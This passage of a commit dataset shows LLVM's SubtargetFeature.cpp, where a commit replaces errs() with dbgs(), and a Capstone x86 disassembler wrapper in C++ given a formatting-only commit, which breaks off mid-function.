Returns current CPU.\n\/\/\/\nconst std::string & SubtargetFeatures::getCPU() const {\n  return Features[0];\n}\n\n\n\/\/\/ SetImpliedBits - For each feature that is (transitively) implied by this\n\/\/\/ feature, set it.\n\/\/\/\nstatic\nvoid SetImpliedBits(uint32_t &Bits, const SubtargetFeatureKV *FeatureEntry,\n                    const SubtargetFeatureKV *FeatureTable,\n                    size_t FeatureTableSize) {\n  for (size_t i = 0; i < FeatureTableSize; ++i) {\n    const SubtargetFeatureKV &FE = FeatureTable[i];\n\n    if (FeatureEntry->Value == FE.Value) continue;\n\n    if (FeatureEntry->Implies & FE.Value) {\n      Bits |= FE.Value;\n      SetImpliedBits(Bits, &FE, FeatureTable, FeatureTableSize);\n    }\n  }\n}\n\n\/\/\/ ClearImpliedBits - For each feature that (transitively) implies this\n\/\/\/ feature, clear it.\n\/\/\/ \nstatic\nvoid ClearImpliedBits(uint32_t &Bits, const SubtargetFeatureKV *FeatureEntry,\n                      const SubtargetFeatureKV *FeatureTable,\n                      size_t FeatureTableSize) {\n  for (size_t i = 0; i < FeatureTableSize; ++i) {\n    const SubtargetFeatureKV &FE = FeatureTable[i];\n\n    if (FeatureEntry->Value == FE.Value) continue;\n\n    if (FE.Implies & FeatureEntry->Value) {\n      Bits &= ~FE.Value;\n      ClearImpliedBits(Bits, &FE, FeatureTable, FeatureTableSize);\n    }\n  }\n}\n\n\/\/\/ getBits - Get feature bits.\n\/\/\/\nuint32_t SubtargetFeatures::getBits(const SubtargetFeatureKV *CPUTable,\n                                          size_t CPUTableSize,\n                                    const SubtargetFeatureKV *FeatureTable,\n                                          size_t FeatureTableSize) {\n  assert(CPUTable && \"missing CPU table\");\n  assert(FeatureTable && \"missing features table\");\n#ifndef NDEBUG\n  for (size_t i = 1; i < CPUTableSize; i++) {\n    assert(strcmp(CPUTable[i - 1].Key, CPUTable[i].Key) < 0 &&\n           \"CPU table is not sorted\");\n  }\n  for (size_t i = 1; i < FeatureTableSize; i++) {\n    assert(strcmp(FeatureTable[i - 1].Key, FeatureTable[i].Key) < 0 &&\n          \"CPU features table is not sorted\");\n  }\n#endif\n  uint32_t Bits = 0;                    \/\/ Resulting bits\n\n  \/\/ Check if help is needed\n  if (Features[0] == \"help\")\n    Help(CPUTable, CPUTableSize, FeatureTable, FeatureTableSize);\n  \n  \/\/ Find CPU entry\n  const SubtargetFeatureKV *CPUEntry =\n                            Find(Features[0], CPUTable, CPUTableSize);\n  \/\/ If there is a match\n  if (CPUEntry) {\n    \/\/ Set base feature bits\n    Bits = CPUEntry->Value;\n\n    \/\/ Set the feature implied by this CPU feature, if any.\n    for (size_t i = 0; i < FeatureTableSize; ++i) {\n      const SubtargetFeatureKV &FE = FeatureTable[i];\n      if (CPUEntry->Value & FE.Value)\n        SetImpliedBits(Bits, &FE, FeatureTable, FeatureTableSize);\n    }\n  } else {\n    errs() << \"'\" << Features[0]\n           << \"' is not a recognized processor for this target\"\n           << \" (ignoring processor)\\n\";\n  }\n  \/\/ Iterate through each feature\n  for (size_t i = 1; i < Features.size(); i++) {\n    const std::string &Feature = Features[i];\n    \n    \/\/ Check for help\n    if (Feature == \"+help\")\n      Help(CPUTable, CPUTableSize, FeatureTable, FeatureTableSize);\n    \n    \/\/ Find feature in table.\n    const SubtargetFeatureKV *FeatureEntry =\n                       Find(StripFlag(Feature), FeatureTable, FeatureTableSize);\n    \/\/ If there is a match\n    if (FeatureEntry) {\n      \/\/ Enable\/disable feature in bits\n      if (isEnabled(Feature)) {\n        Bits |=  FeatureEntry->Value;\n\n        \/\/ For each feature that this implies, set it.\n        SetImpliedBits(Bits, FeatureEntry, FeatureTable, FeatureTableSize);\n      } else {\n        Bits &= ~FeatureEntry->Value;\n\n        \/\/ For each feature that implies this, clear it.\n        ClearImpliedBits(Bits, FeatureEntry, FeatureTable, FeatureTableSize);\n      }\n    } else {\n      errs() << \"'\" << Feature\n             << \"' is not a recognized feature for this target\"\n             << \" (ignoring feature)\\n\";\n    }\n  }\n\n  return Bits;\n}\n\n\/\/\/ Get info pointer\nvoid *SubtargetFeatures::getInfo(const SubtargetInfoKV *Table,\n                                       size_t TableSize) {\n  assert(Table && \"missing table\");\n#ifndef NDEBUG\n  for (size_t i = 1; i < TableSize; i++) {\n    assert(strcmp(Table[i - 1].Key, Table[i].Key) < 0 && \"Table is not sorted\");\n  }\n#endif\n\n  \/\/ Find entry\n  const SubtargetInfoKV *Entry = Find(Features[0], Table, TableSize);\n  \n  if (Entry) {\n    return Entry->Value;\n  } else {\n    errs() << \"'\" << Features[0]\n           << \"' is not a recognized processor for this target\"\n           << \" (ignoring processor)\\n\";\n    return NULL;\n  }\n}\n\n\/\/\/ print - Print feature string.\n\/\/\/\nvoid SubtargetFeatures::print(raw_ostream &OS) const {\n  for (size_t i = 0, e = Features.size(); i != e; ++i)\n    OS << Features[i] << \"  \";\n  OS << \"\\n\";\n}\n\n\/\/\/ dump - Dump feature info.\n\/\/\/\nvoid SubtargetFeatures::dump() const {\n  print(errs());\n}\n\n\/\/\/ getDefaultSubtargetFeatures - Return a string listing\n\/\/\/ the features associated with the target triple.\n\/\/\/\n\/\/\/ FIXME: This is an inelegant way of specifying the features of a\n\/\/\/ subtarget. It would be better if we could encode this information\n\/\/\/ into the IR. See <rdar:\/\/5972456>.\n\/\/\/\nstd::string SubtargetFeatures::getDefaultSubtargetFeatures(\n                                               const Triple& Triple) {\n  switch (Triple.getVendor()) {\n  case Triple::Apple:\n    switch (Triple.getArch()) {\n    case Triple::ppc:   \/\/ powerpc-apple-*\n      return std::string(\"altivec\");\n    case Triple::ppc64: \/\/ powerpc64-apple-*\n      return std::string(\"64bit,altivec\");\n    default:\n      break;\n    }\n    break;\n  default:\n    break;\n  } \n\n  return std::string(\"\");\n}\n<commit_msg>Change errs() to dbgs().<commit_after>\/\/===- SubtargetFeature.cpp - CPU characteristics Implementation ----------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the SubtargetFeature interface.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/SubtargetFeature.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include <algorithm>\n#include <cassert>\n#include <cctype>\nusing namespace llvm;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                          Static Helper Functions\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/\/ hasFlag - Determine if a feature has a flag; '+' or '-'\n\/\/\/\nstatic inline bool hasFlag(const std::string &Feature) {\n  assert(!Feature.empty() && \"Empty string\");\n  \/\/ Get first character\n  char Ch = Feature[0];\n  \/\/ Check if first character is '+' or '-' flag\n  return Ch == '+' || Ch =='-';\n}\n\n\/\/\/ StripFlag - Return string stripped of flag.\n\/\/\/\nstatic inline std::string StripFlag(const std::string &Feature) {\n  return hasFlag(Feature) ? Feature.substr(1) : Feature;\n}\n\n\/\/\/ isEnabled - Return true if enable flag; '+'.\n\/\/\/\nstatic inline bool isEnabled(const std::string &Feature) {\n  assert(!Feature.empty() && \"Empty string\");\n  \/\/ Get first character\n  char Ch = Feature[0];\n  \/\/ Check if first character is '+' for enabled\n  return Ch == '+';\n}\n\n\/\/\/ PrependFlag - Return a string with a prepended flag; '+' or '-'.\n\/\/\/\nstatic inline std::string PrependFlag(const std::string &Feature,\n                                      bool IsEnabled) {\n  assert(!Feature.empty() && \"Empty string\");\n  if (hasFlag(Feature)) return Feature;\n  return std::string(IsEnabled ? \"+\" : \"-\") + Feature;\n}\n\n\/\/\/ Split - Splits a string of comma separated items in to a vector of strings.\n\/\/\/\nstatic void Split(std::vector<std::string> &V, const std::string &S) {\n  \/\/ Start at beginning of string.\n  size_t Pos = 0;\n  while (true) {\n    \/\/ Find the next comma\n    size_t Comma = S.find(',', Pos);\n    \/\/ If no comma found then the the rest of the string is used\n    if (Comma == std::string::npos) {\n      \/\/ Add string to vector\n      V.push_back(S.substr(Pos));\n      break;\n    }\n    \/\/ Otherwise add substring to vector\n    V.push_back(S.substr(Pos, Comma - Pos));\n    \/\/ Advance to next item\n    Pos = Comma + 1;\n  }\n}\n\n\/\/\/ Join a vector of strings to a string with a comma separating each element.\n\/\/\/\nstatic std::string Join(const std::vector<std::string> &V) {\n  \/\/ Start with empty string.\n  std::string Result;\n  \/\/ If the vector is not empty \n  if (!V.empty()) {\n    \/\/ Start with the CPU feature\n    Result = V[0];\n    \/\/ For each successive feature\n    for (size_t i = 1; i < V.size(); i++) {\n      \/\/ Add a comma\n      Result += \",\";\n      \/\/ Add the feature\n      Result += V[i];\n    }\n  }\n  \/\/ Return the features string \n  return Result;\n}\n\n\/\/\/ Adding features.\nvoid SubtargetFeatures::AddFeature(const std::string &String,\n                                   bool IsEnabled) {\n  \/\/ Don't add empty features\n  if (!String.empty()) {\n    \/\/ Convert to lowercase, prepend flag and add to vector\n    Features.push_back(PrependFlag(LowercaseString(String), IsEnabled));\n  }\n}\n\n\/\/\/ Find KV in array using binary search.\ntemplate<typename T> const T *Find(const std::string &S, const T *A, size_t L) {\n  \/\/ Make the lower bound element we're looking for\n  T KV;\n  KV.Key = S.c_str();\n  \/\/ Determine the end of the array\n  const T *Hi = A + L;\n  \/\/ Binary search the array\n  const T *F = std::lower_bound(A, Hi, KV);\n  \/\/ If not found then return NULL\n  if (F == Hi || std::string(F->Key) != S) return NULL;\n  \/\/ Return the found array item\n  return F;\n}\n\n\/\/\/ getLongestEntryLength - Return the length of the longest entry in the table.\n\/\/\/\nstatic size_t getLongestEntryLength(const SubtargetFeatureKV *Table,\n                                    size_t Size) {\n  size_t MaxLen = 0;\n  for (size_t i = 0; i < Size; i++)\n    MaxLen = std::max(MaxLen, std::strlen(Table[i].Key));\n  return MaxLen;\n}\n\n\/\/\/ Display help for feature choices.\n\/\/\/\nstatic void Help(const SubtargetFeatureKV *CPUTable, size_t CPUTableSize,\n                 const SubtargetFeatureKV *FeatTable, size_t FeatTableSize) {\n  \/\/ Determine the length of the longest CPU and Feature entries.\n  unsigned MaxCPULen  = getLongestEntryLength(CPUTable, CPUTableSize);\n  unsigned MaxFeatLen = getLongestEntryLength(FeatTable, FeatTableSize);\n\n  \/\/ Print the CPU table.\n  errs() << \"Available CPUs for this target:\\n\\n\";\n  for (size_t i = 0; i != CPUTableSize; i++)\n    errs() << \"  \" << CPUTable[i].Key\n         << std::string(MaxCPULen - std::strlen(CPUTable[i].Key), ' ')\n         << \" - \" << CPUTable[i].Desc << \".\\n\";\n  errs() << \"\\n\";\n  \n  \/\/ Print the Feature table.\n  errs() << \"Available features for this target:\\n\\n\";\n  for (size_t i = 0; i != FeatTableSize; i++)\n    errs() << \"  \" << FeatTable[i].Key\n         << std::string(MaxFeatLen - std::strlen(FeatTable[i].Key), ' ')\n         << \" - \" << FeatTable[i].Desc << \".\\n\";\n  errs() << \"\\n\";\n  \n  errs() << \"Use +feature to enable a feature, or -feature to disable it.\\n\"\n       << \"For example, llc -mcpu=mycpu -mattr=+feature1,-feature2\\n\";\n  exit(1);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/                    SubtargetFeatures Implementation\n\/\/===----------------------------------------------------------------------===\/\/\n\nSubtargetFeatures::SubtargetFeatures(const std::string &Initial) {\n  \/\/ Break up string into separate features\n  Split(Features, Initial);\n}\n\n\nstd::string SubtargetFeatures::getString() const {\n  return Join(Features);\n}\nvoid SubtargetFeatures::setString(const std::string &Initial) {\n  \/\/ Throw out old features\n  Features.clear();\n  \/\/ Break up string into separate features\n  Split(Features, LowercaseString(Initial));\n}\n\n\n\/\/\/ setCPU - Set the CPU string.  Replaces previous setting.  Setting to \"\"\n\/\/\/ clears CPU.\nvoid SubtargetFeatures::setCPU(const std::string &String) {\n  Features[0] = LowercaseString(String);\n}\n\n\n\/\/\/ setCPUIfNone - Setting CPU string only if no string is set.\n\/\/\/\nvoid SubtargetFeatures::setCPUIfNone(const std::string &String) {\n  if (Features[0].empty()) setCPU(String);\n}\n\n\/\/\/ getCPU - Returns current CPU.\n\/\/\/\nconst std::string & SubtargetFeatures::getCPU() const {\n  return Features[0];\n}\n\n\n\/\/\/ SetImpliedBits - For each feature that is (transitively) implied by this\n\/\/\/ feature, set it.\n\/\/\/\nstatic\nvoid SetImpliedBits(uint32_t &Bits, const SubtargetFeatureKV *FeatureEntry,\n                    const SubtargetFeatureKV *FeatureTable,\n                    size_t FeatureTableSize) {\n  for (size_t i = 0; i < FeatureTableSize; ++i) {\n    const SubtargetFeatureKV &FE = FeatureTable[i];\n\n    if (FeatureEntry->Value == FE.Value) continue;\n\n    if (FeatureEntry->Implies & FE.Value) {\n      Bits |= FE.Value;\n      SetImpliedBits(Bits, &FE, FeatureTable, FeatureTableSize);\n    }\n  }\n}\n\n\/\/\/ ClearImpliedBits - For each feature that (transitively) implies this\n\/\/\/ feature, clear it.\n\/\/\/ \nstatic\nvoid ClearImpliedBits(uint32_t &Bits, const SubtargetFeatureKV *FeatureEntry,\n                      const SubtargetFeatureKV *FeatureTable,\n                      size_t FeatureTableSize) {\n  for (size_t i = 0; i < FeatureTableSize; ++i) {\n    const SubtargetFeatureKV &FE = FeatureTable[i];\n\n    if (FeatureEntry->Value == FE.Value) continue;\n\n    if (FE.Implies & FeatureEntry->Value) {\n      Bits &= ~FE.Value;\n      ClearImpliedBits(Bits, &FE, FeatureTable, FeatureTableSize);\n    }\n  }\n}\n\n\/\/\/ getBits - Get feature bits.\n\/\/\/\nuint32_t SubtargetFeatures::getBits(const SubtargetFeatureKV *CPUTable,\n                                          size_t CPUTableSize,\n                                    const SubtargetFeatureKV *FeatureTable,\n                                          size_t FeatureTableSize) {\n  assert(CPUTable && \"missing CPU table\");\n  assert(FeatureTable && \"missing features table\");\n#ifndef NDEBUG\n  for (size_t i = 1; i < CPUTableSize; i++) {\n    assert(strcmp(CPUTable[i - 1].Key, CPUTable[i].Key) < 0 &&\n           \"CPU table is not sorted\");\n  }\n  for (size_t i = 1; i < FeatureTableSize; i++) {\n    assert(strcmp(FeatureTable[i - 1].Key, FeatureTable[i].Key) < 0 &&\n          \"CPU features table is not sorted\");\n  }\n#endif\n  uint32_t Bits = 0;                    \/\/ Resulting bits\n\n  \/\/ Check if help is needed\n  if (Features[0] == \"help\")\n    Help(CPUTable, CPUTableSize, FeatureTable, FeatureTableSize);\n  \n  \/\/ Find CPU entry\n  const SubtargetFeatureKV *CPUEntry =\n                            Find(Features[0], CPUTable, CPUTableSize);\n  \/\/ If there is a match\n  if (CPUEntry) {\n    \/\/ Set base feature bits\n    Bits = CPUEntry->Value;\n\n    \/\/ Set the feature implied by this CPU feature, if any.\n    for (size_t i = 0; i < FeatureTableSize; ++i) {\n      const SubtargetFeatureKV &FE = FeatureTable[i];\n      if (CPUEntry->Value & FE.Value)\n        SetImpliedBits(Bits, &FE, FeatureTable, FeatureTableSize);\n    }\n  } else {\n    errs() << \"'\" << Features[0]\n           << \"' is not a recognized processor for this target\"\n           << \" (ignoring processor)\\n\";\n  }\n  \/\/ Iterate through each feature\n  for (size_t i = 1; i < Features.size(); i++) {\n    const std::string &Feature = Features[i];\n    \n    \/\/ Check for help\n    if (Feature == \"+help\")\n      Help(CPUTable, CPUTableSize, FeatureTable, FeatureTableSize);\n    \n    \/\/ Find feature in table.\n    const SubtargetFeatureKV *FeatureEntry =\n                       Find(StripFlag(Feature), FeatureTable, FeatureTableSize);\n    \/\/ If there is a match\n    if (FeatureEntry) {\n      \/\/ Enable\/disable feature in bits\n      if (isEnabled(Feature)) {\n        Bits |=  FeatureEntry->Value;\n\n        \/\/ For each feature that this implies, set it.\n        SetImpliedBits(Bits, FeatureEntry, FeatureTable, FeatureTableSize);\n      } else {\n        Bits &= ~FeatureEntry->Value;\n\n        \/\/ For each feature that implies this, clear it.\n        ClearImpliedBits(Bits, FeatureEntry, FeatureTable, FeatureTableSize);\n      }\n    } else {\n      errs() << \"'\" << Feature\n             << \"' is not a recognized feature for this target\"\n             << \" (ignoring feature)\\n\";\n    }\n  }\n\n  return Bits;\n}\n\n\/\/\/ Get info pointer\nvoid *SubtargetFeatures::getInfo(const SubtargetInfoKV *Table,\n                                       size_t TableSize) {\n  assert(Table && \"missing table\");\n#ifndef NDEBUG\n  for (size_t i = 1; i < TableSize; i++) {\n    assert(strcmp(Table[i - 1].Key, Table[i].Key) < 0 && \"Table is not sorted\");\n  }\n#endif\n\n  \/\/ Find entry\n  const SubtargetInfoKV *Entry = Find(Features[0], Table, TableSize);\n  \n  if (Entry) {\n    return Entry->Value;\n  } else {\n    errs() << \"'\" << Features[0]\n           << \"' is not a recognized processor for this target\"\n           << \" (ignoring processor)\\n\";\n    return NULL;\n  }\n}\n\n\/\/\/ print - Print feature string.\n\/\/\/\nvoid SubtargetFeatures::print(raw_ostream &OS) const {\n  for (size_t i = 0, e = Features.size(); i != e; ++i)\n    OS << Features[i] << \"  \";\n  OS << \"\\n\";\n}\n\n\/\/\/ dump - Dump feature info.\n\/\/\/\nvoid SubtargetFeatures::dump() const {\n  print(dbgs());\n}\n\n\/\/\/ getDefaultSubtargetFeatures - Return a string listing\n\/\/\/ the features associated with the target triple.\n\/\/\/\n\/\/\/ FIXME: This is an inelegant way of specifying the features of a\n\/\/\/ subtarget. It would be better if we could encode this information\n\/\/\/ into the IR. See <rdar:\/\/5972456>.\n\/\/\/\nstd::string SubtargetFeatures::getDefaultSubtargetFeatures(\n                                               const Triple& Triple) {\n  switch (Triple.getVendor()) {\n  case Triple::Apple:\n    switch (Triple.getArch()) {\n    case Triple::ppc:   \/\/ powerpc-apple-*\n      return std::string(\"altivec\");\n    case Triple::ppc64: \/\/ powerpc64-apple-*\n      return std::string(\"64bit,altivec\");\n    default:\n      break;\n    }\n    break;\n  default:\n    break;\n  } \n\n  return std::string(\"\");\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"capstone_wrapper.h\"\r\n#include <windows.h>\r\n\r\ncsh Capstone::mHandle = 0;\r\n\r\nvoid Capstone::GlobalInitialize()\r\n{\r\n#ifdef _WIN64\r\n    cs_open(CS_ARCH_X86, CS_MODE_64, &mHandle);\r\n#else \/\/x86\r\n    cs_open(CS_ARCH_X86, CS_MODE_32, &mHandle);\r\n#endif \/\/_WIN64\r\n    cs_option(mHandle, CS_OPT_DETAIL, CS_OPT_ON);\r\n}\r\n\r\nvoid Capstone::GlobalFinalize()\r\n{\r\n    if(mHandle) \/\/close handle\r\n        cs_close(&mHandle);\r\n}\r\n\r\nCapstone::Capstone()\r\n{\r\n\tmInstr = cs_malloc(mHandle);\r\n    mSuccess = false;\r\n}\r\n\r\nCapstone::~Capstone()\r\n{\r\n    if(mInstr) \/\/free last disassembled instruction\r\n        cs_free(mInstr, 1);\r\n}\r\n\r\nbool Capstone::Disassemble(size_t addr, const unsigned char data[MAX_DISASM_BUFFER])\r\n{\r\n    return Disassemble(addr, data, MAX_DISASM_BUFFER);\r\n}\r\n\r\nbool Capstone::Disassemble(size_t addr, const unsigned char* data, int size)\r\n{\r\n\tif (!data)\r\n\t\treturn false;\r\n\r\n\tsize_t codeSize = size;\r\n\tuint64_t addr64 = addr;\r\n\r\n\treturn (mSuccess = cs_disasm_iter(mHandle, &data, &codeSize, &addr64, mInstr));\r\n}\r\n\r\nconst cs_insn* Capstone::GetInstr() const\r\n{\r\n    if(!Success())\r\n        return nullptr;\r\n    return mInstr;\r\n}\r\n\r\nbool Capstone::Success() const\r\n{\r\n    return mSuccess;\r\n}\r\n\r\nconst char* Capstone::RegName(x86_reg reg) const\r\n{\r\n    return cs_reg_name(mHandle, reg);\r\n}\r\n\r\nbool Capstone::InGroup(cs_group_type group) const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    return cs_insn_group(mHandle, mInstr, group);\r\n}\r\n\r\nstd::string Capstone::OperandText(int opindex) const\r\n{\r\n    if(!Success() || opindex >= mInstr->detail->x86.op_count)\r\n        return \"\";\r\n    const auto & op = mInstr->detail->x86.operands[opindex];\r\n    std::string result;\r\n    char temp[32] = \"\";\r\n    switch(op.type)\r\n    {\r\n    case X86_OP_REG:\r\n    {\r\n        result = RegName(x86_reg(op.reg));\r\n    }\r\n    break;\r\n\r\n    case X86_OP_IMM:\r\n    {\r\n        sprintf_s(temp, \"%llX\", op.imm);\r\n        result = temp;\r\n    }\r\n    break;\r\n\r\n    case X86_OP_MEM:\r\n    {\r\n        const auto & mem = op.mem;\r\n        if(op.mem.base == X86_REG_RIP)  \/\/rip-relative\r\n        {\r\n            sprintf_s(temp, \"%llX\", Address() + op.mem.disp + Size());\r\n            result += temp;\r\n        }\r\n        else \/\/normal\r\n        {\r\n            bool prependPlus = false;\r\n            if(mem.base)\r\n            {\r\n                result += RegName(x86_reg(mem.base));\r\n                prependPlus = true;\r\n            }\r\n            if(mem.index)\r\n            {\r\n                if(prependPlus)\r\n                    result += \"+\";\r\n                result += RegName(x86_reg(mem.index));\r\n                sprintf_s(temp, \"*%X\", mem.scale);\r\n                result += temp;\r\n                prependPlus = true;\r\n            }\r\n            if(mem.disp)\r\n            {\r\n                char operatorText = '+';\r\n                if(mem.disp < 0)\r\n                {\r\n                    operatorText = '-';\r\n                    sprintf_s(temp, \"%llX\", mem.disp * -1);\r\n                }\r\n                else\r\n                    sprintf_s(temp, \"%llX\", mem.disp);\r\n                if(prependPlus)\r\n                    result += operatorText;\r\n                result += temp;\r\n            }\r\n        }\r\n    }\r\n    break;\r\n\r\n    case X86_OP_FP:\r\n    case X86_OP_INVALID:\r\n    {\r\n    }\r\n    break;\r\n    }\r\n    return result;\r\n}\r\n\r\nint Capstone::Size() const\r\n{\r\n    if(!Success())\r\n        return 1;\r\n    return GetInstr()->size;\r\n}\r\n\r\nsize_t Capstone::Address() const\r\n{\r\n    if(!Success())\r\n        return 0;\r\n    return size_t(GetInstr()->address);\r\n}\r\n\r\nconst cs_x86 & Capstone::x86() const\r\n{\r\n    if(!Success())\r\n        DebugBreak();\r\n    return GetInstr()->detail->x86;\r\n}\r\n\r\nbool Capstone::IsFilling() const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    switch(GetId())\r\n    {\r\n    case X86_INS_NOP:\r\n    case X86_INS_INT3:\r\n        return true;\r\n    default:\r\n        return false;\r\n    }\r\n}\r\n\r\nbool Capstone::IsLoop() const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    switch(GetId())\r\n    {\r\n    case X86_INS_LOOP:\r\n    case X86_INS_LOOPE:\r\n    case X86_INS_LOOPNE:\r\n        return true;\r\n    default:\r\n        return false;\r\n    }\r\n}\r\n\r\nx86_insn Capstone::GetId() const\r\n{\r\n    if(!Success())\r\n        DebugBreak();\r\n    return x86_insn(mInstr->id);\r\n}\r\n\r\nstd::string Capstone::InstructionText() const\r\n{\r\n    if(!Success())\r\n        return \"???\";\r\n    std::string result = Mnemonic();\r\n    if(OpCount())\r\n    {\r\n        result += \" \";\r\n        result += mInstr->op_str;\r\n    }\r\n    return result;\r\n}\r\n\r\nint Capstone::OpCount() const\r\n{\r\n    if(!Success())\r\n        return 0;\r\n    return x86().op_count;\r\n}\r\n\r\ncs_x86_op Capstone::operator[](int index) const\r\n{\r\n    if(!Success() || index >= OpCount())\r\n        DebugBreak();\r\n    return x86().operands[index];\r\n}\r\n\r\nbool Capstone::IsNop() const\r\n{\r\n    return GetId() == X86_INS_NOP;\r\n}\r\n\r\nbool Capstone::IsInt3() const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    switch(GetId())\r\n    {\r\n    case X86_INS_INT3:\r\n        return true;\r\n    case X86_INS_INT:\r\n    {\r\n        cs_x86_op op = x86().operands[0];\r\n        return op.type == X86_OP_IMM && op.imm == 3;\r\n    }\r\n    default:\r\n        return false;\r\n    }\r\n}\r\n\r\nstd::string Capstone::Mnemonic() const\r\n{\r\n    if(!Success())\r\n        return \"???\";\r\n    return mInstr->mnemonic;\r\n}\r\n\r\nconst char* Capstone::MemSizeName(int size) const\r\n{\r\n    switch(size)\r\n    {\r\n    case 1:\r\n        return \"byte\";\r\n    case 2:\r\n        return \"word\";\r\n    case 4:\r\n        return \"dword\";\r\n    case 6:\r\n        return \"fword\";\r\n    case 8:\r\n        return \"qword\";\r\n    case 10:\r\n        return \"tword\";\r\n    case 16:\r\n        return \"dqword\";\r\n    case 32:\r\n        return \"yword\";\r\n    case 64:\r\n        return \"zword\";\r\n    default:\r\n        return nullptr;\r\n    }\r\n}\r\n\r\nsize_t Capstone::BranchDestination() const\r\n{\r\n    if(!Success())\r\n        return 0;\r\n    if(InGroup(CS_GRP_JUMP) || InGroup(CS_GRP_CALL) || IsLoop())\r\n    {\r\n        const auto & op = x86().operands[0];\r\n        if(op.type == CS_OP_IMM)\r\n            return size_t(op.imm);\r\n    }\r\n    return 0;\r\n}<commit_msg>formatting<commit_after>#include \"capstone_wrapper.h\"\r\n#include <windows.h>\r\n\r\ncsh Capstone::mHandle = 0;\r\n\r\nvoid Capstone::GlobalInitialize()\r\n{\r\n#ifdef _WIN64\r\n    cs_open(CS_ARCH_X86, CS_MODE_64, &mHandle);\r\n#else \/\/x86\r\n    cs_open(CS_ARCH_X86, CS_MODE_32, &mHandle);\r\n#endif \/\/_WIN64\r\n    cs_option(mHandle, CS_OPT_DETAIL, CS_OPT_ON);\r\n}\r\n\r\nvoid Capstone::GlobalFinalize()\r\n{\r\n    if(mHandle) \/\/close handle\r\n        cs_close(&mHandle);\r\n}\r\n\r\nCapstone::Capstone()\r\n{\r\n    mInstr = cs_malloc(mHandle);\r\n    mSuccess = false;\r\n}\r\n\r\nCapstone::~Capstone()\r\n{\r\n    if(mInstr) \/\/free last disassembled instruction\r\n        cs_free(mInstr, 1);\r\n}\r\n\r\nbool Capstone::Disassemble(size_t addr, const unsigned char data[MAX_DISASM_BUFFER])\r\n{\r\n    return Disassemble(addr, data, MAX_DISASM_BUFFER);\r\n}\r\n\r\nbool Capstone::Disassemble(size_t addr, const unsigned char* data, int size)\r\n{\r\n    if(!data)\r\n        return false;\r\n\r\n    size_t codeSize = size;\r\n    uint64_t addr64 = addr;\r\n\r\n    return (mSuccess = cs_disasm_iter(mHandle, &data, &codeSize, &addr64, mInstr));\r\n}\r\n\r\nconst cs_insn* Capstone::GetInstr() const\r\n{\r\n    if(!Success())\r\n        return nullptr;\r\n    return mInstr;\r\n}\r\n\r\nbool Capstone::Success() const\r\n{\r\n    return mSuccess;\r\n}\r\n\r\nconst char* Capstone::RegName(x86_reg reg) const\r\n{\r\n    return cs_reg_name(mHandle, reg);\r\n}\r\n\r\nbool Capstone::InGroup(cs_group_type group) const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    return cs_insn_group(mHandle, mInstr, group);\r\n}\r\n\r\nstd::string Capstone::OperandText(int opindex) const\r\n{\r\n    if(!Success() || opindex >= mInstr->detail->x86.op_count)\r\n        return \"\";\r\n    const auto & op = mInstr->detail->x86.operands[opindex];\r\n    std::string result;\r\n    char temp[32] = \"\";\r\n    switch(op.type)\r\n    {\r\n    case X86_OP_REG:\r\n    {\r\n        result = RegName(x86_reg(op.reg));\r\n    }\r\n    break;\r\n\r\n    case X86_OP_IMM:\r\n    {\r\n        sprintf_s(temp, \"%llX\", op.imm);\r\n        result = temp;\r\n    }\r\n    break;\r\n\r\n    case X86_OP_MEM:\r\n    {\r\n        const auto & mem = op.mem;\r\n        if(op.mem.base == X86_REG_RIP)  \/\/rip-relative\r\n        {\r\n            sprintf_s(temp, \"%llX\", Address() + op.mem.disp + Size());\r\n            result += temp;\r\n        }\r\n        else \/\/normal\r\n        {\r\n            bool prependPlus = false;\r\n            if(mem.base)\r\n            {\r\n                result += RegName(x86_reg(mem.base));\r\n                prependPlus = true;\r\n            }\r\n            if(mem.index)\r\n            {\r\n                if(prependPlus)\r\n                    result += \"+\";\r\n                result += RegName(x86_reg(mem.index));\r\n                sprintf_s(temp, \"*%X\", mem.scale);\r\n                result += temp;\r\n                prependPlus = true;\r\n            }\r\n            if(mem.disp)\r\n            {\r\n                char operatorText = '+';\r\n                if(mem.disp < 0)\r\n                {\r\n                    operatorText = '-';\r\n                    sprintf_s(temp, \"%llX\", mem.disp * -1);\r\n                }\r\n                else\r\n                    sprintf_s(temp, \"%llX\", mem.disp);\r\n                if(prependPlus)\r\n                    result += operatorText;\r\n                result += temp;\r\n            }\r\n        }\r\n    }\r\n    break;\r\n\r\n    case X86_OP_FP:\r\n    case X86_OP_INVALID:\r\n    {\r\n    }\r\n    break;\r\n    }\r\n    return result;\r\n}\r\n\r\nint Capstone::Size() const\r\n{\r\n    if(!Success())\r\n        return 1;\r\n    return GetInstr()->size;\r\n}\r\n\r\nsize_t Capstone::Address() const\r\n{\r\n    if(!Success())\r\n        return 0;\r\n    return size_t(GetInstr()->address);\r\n}\r\n\r\nconst cs_x86 & Capstone::x86() const\r\n{\r\n    if(!Success())\r\n        DebugBreak();\r\n    return GetInstr()->detail->x86;\r\n}\r\n\r\nbool Capstone::IsFilling() const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    switch(GetId())\r\n    {\r\n    case X86_INS_NOP:\r\n    case X86_INS_INT3:\r\n        return true;\r\n    default:\r\n        return false;\r\n    }\r\n}\r\n\r\nbool Capstone::IsLoop() const\r\n{\r\n    if(!Success())\r\n        return false;\r\n    switch(GetId())\r\n    {\r\n    case X86_INS_LOOP:\r\n    case X86_INS_LOOPE:\r\n    case X86_INS_LOOPNE:\r\n        return true;\r\n    default:\r\n        return false;\r\n    }\r\n}\r\n\r\nx86_insn Capstone::GetId() 